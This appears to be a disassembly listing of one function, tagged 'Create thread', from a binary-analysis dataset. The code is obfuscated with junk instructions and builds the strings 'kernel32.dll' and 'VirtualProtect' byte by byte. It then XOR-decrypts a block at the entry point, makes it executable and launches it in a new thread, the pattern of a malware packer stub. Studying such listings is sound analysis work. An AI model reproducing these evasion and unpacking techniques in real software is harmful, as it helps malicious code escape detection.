Function at 0x4015c2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
xor ebx, 0x320ef740
xor ebx, 0x320ef740
popfd
pushfd
inc ebx
dec ebx
popfd
call fcn.00401989
pushfd
push edx
add esp, 4
popfd
pushfd
push 0x1fedca83
add esp, 4
popfd
lea eax, [ebp - 0xd8]
xchg ecx, eax
xchg ecx, eax
mov ecx, ecx
mov ebx, 0x61
pushfd
inc ebx
dec ebx
popfd
add bx, 0xa
pushfd
push 0x8614c8a
add esp, 4
popfd
mov word [eax], bx
xchg edx, edx
sub bx, 6
pushfd
push 0xb54b8769
add esp, 4
popfd
mov word [eax + 2], bx
pushfd
xor eax, 0x6c885b84
xor eax, 0x6c885b84
popfd
xchg ebx, edx
xchg edx, ebx
add bx, 0xd
pushfd
inc ecx
dec ecx
popfd
nop
mov word [eax + 4], bx
mov edi, edi
sub bx, 4
push edx
pop edx
mov word [eax + 6], bx
mov eax, eax
sub bx, 9
push ecx
pop ecx
mov word [eax + 8], bx
pushfd
push 0xbf0134fc
add esp, 4
popfd
xchg ecx, ecx
add bx, 7
xchg ebx, ebx
mov word [eax + 0xa], bx
pushfd
inc eax
dec eax
popfd
sub bx, 0x39
push esi
push edx
pop edx
pop esi
mov word [eax + 0xc], bx
pushfd
inc edx
dec edx
popfd
push eax
pop eax
dec bx
pushfd
inc ecx
dec ecx
popfd
mov word [eax + 0xe], bx
pushfd
xor edx, 0x6521ddc
xor edx, 0x6521ddc
popfd
sub bx, 4
pushfd
inc esi
dec esi
popfd
mov word [eax + 0x10], bx
mov edx, edx
add bx, 0x36
pushfd
inc esi
dec esi
popfd
mov word [eax + 0x12], bx
pushfd
inc ecx
dec ecx
popfd
pushfd
push ecx
add esp, 4
popfd
add bx, 8
xchg ecx, ebx
xchg ebx, ecx
mov word [eax + 0x14], bx
push eax
pop eax
xchg ebx, eax
xchg ebx, eax
mov word [eax + 0x16], bx
pushfd
inc ebx
dec ebx
popfd
pushfd
xor esi, 0x228cb539
xor esi, 0x228cb539
popfd
mov word [eax + 0x18], 0
pushfd
push ebx
add esp, 4
popfd
xchg edx, edx
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
xor edi, 0x989bf551
xor edi, 0x989bf551
popfd
pushfd
inc esi
dec esi
popfd
mov dword [ebp - 0x10], eax
push esi
pop esi
pushfd
push 0x368c9640
add esp, 4
popfd
lea eax, [ebp - 0xd8]
mov eax, eax
push ebx
pop ebx
mov ebx, 0x61
xchg ecx, edx
xchg edx, ecx
push ebx
pop ebx
sub bl, 0xb
pushfd
push 0xeb7bcd4c
add esp, 4
popfd
xchg ecx, ecx
mov byte [eax], bl
pushfd
push edi
add esp, 4
popfd
add bl, 0x13
push esi
push edi
pop edi
pop esi
mov byte [eax + 1], bl
mov ebx, ebx
pushfd
xor esi, 0x21d3c13d
xor esi, 0x21d3c13d
popfd
add bl, 9
mov esi, esi
mov ecx, ecx
mov byte [eax + 2], bl
pushfd
push edx
add esp, 4
popfd
add bl, 2
xchg ecx, ecx
mov byte [eax + 3], bl
pushfd
push esi
add esp, 4
popfd
inc bl
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 4], bl
pushfd
push ecx
add esp, 4
popfd
push edi
pop edi
sub bl, 0x14
xchg edi, esi
xchg esi, edi
mov byte [eax + 5], bl
pushfd
xor ecx, 0x3e4ef50d
xor ecx, 0x3e4ef50d
popfd
mov edx, edx
add bl, 0xb
push eax
pop eax
mov byte [eax + 6], bl
mov ecx, ecx
pushfd
push edi
add esp, 4
popfd
sub bl, 0x1c
xchg edi, edi
mov byte [eax + 7], bl
xchg ecx, ecx
add bl, 0x22
pushfd
push 0x75bb9b72
add esp, 4
popfd
mov byte [eax + 8], bl
pushfd
inc edi
dec edi
popfd
xchg edx, eax
xchg edx, eax
sub bl, 3
xchg ebx, ebx
mov eax, eax
mov byte [eax + 9], bl
mov edx, edx
pushfd
xor edi, 0x7b2874cc
xor edi, 0x7b2874cc
popfd
add bl, 5
xchg ebx, esi
xchg esi, ebx
mov byte [eax + 0xa], bl
pushfd
push 0xb2b937bc
add esp, 4
popfd
mov edi, edi
sub bl, 0xf
xchg esi, eax
xchg esi, eax
mov byte [eax + 0xb], bl
pushfd
push 0xca498148
add esp, 4
popfd
sub bl, 2
pushfd
push 0xc16d4a4b
add esp, 4
popfd
mov byte [eax + 0xc], bl
xchg edi, edi
nop
add bl, 0x11
push esi
push edx
pop edx
pop esi
mov edi, edi
mov byte [eax + 0xd], bl
pushfd
push 0xf74834cd
add esp, 4
popfd
mov byte [eax + 0xe], 0
mov ebx, ebx
mov ecx, ecx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
xchg esi, ecx
xchg ecx, esi
push ecx
push edx
pop edx
pop ecx
mov dword [ebp - 0xc], eax
mov esi, esi
lea eax, [ebp - 8]
pushfd
inc edi
dec edi
popfd
push eax
push 4
push 0x2da
push entry0
call dword [ebp - 0xc]
push edi
pop edi
mov edi, entry0
pushfd
inc esi
dec esi
popfd
pushfd
inc eax
dec eax
popfd
mov esi, 0x40100e
pushfd
push 0x9cba490d
add esp, 4
popfd
mov ecx, 0x2da
xchg edx, edx
push edx
push eax
pop eax
pop edx
mov edx, 0x5f44d380
mov eax, eax
mov ebx, 0xca5a52c7
pushfd
push ecx
add esp, 4
popfd
cld
xchg edx, edx
lodsb al, byte [esi]
mov edi, edi
xor al, dl
mov edx, edx
stosb byte es:[edi], al
xchg ebx, ebx
ror edx, 5
mov esi, esi
imul edx, edx, 7
xchg ebx, ebx
test ebx, 1
mov edx, edx
je 0x4018e7
nop
add esi, 2
mov edi, edi
ror ebx, 1
xchg edx, edx
dec ecx
mov edi, edi
test ecx, ecx
mov edx, edx
jne 0x4018c1
push edi
pop edi
pushfd
xor edi, 0x8c49b051
xor edi, 0x8c49b051
popfd
lea eax, [ebp - 8]
push eax
pop eax
xchg edx, edx
push eax
push 0x20
push 0x2da
push entry0
call dword [ebp - 0xc]
pushfd
push 0xa5527373
add esp, 4
popfd
push esi
pop esi
lea eax, [ebp - 4]
push edi
pop edi
mov ebx, ebx
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
pushfd
push 0x3c2120f
add esp, 4
popfd
pushfd
xor eax, 0x4f05b8af
xor eax, 0x4f05b8af
popfd
pushfd
xor esi, 0x4e5805fb
xor esi, 0x4e5805fb
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
xchg ebx, eax
xchg ebx, eax
jmp 0x40194c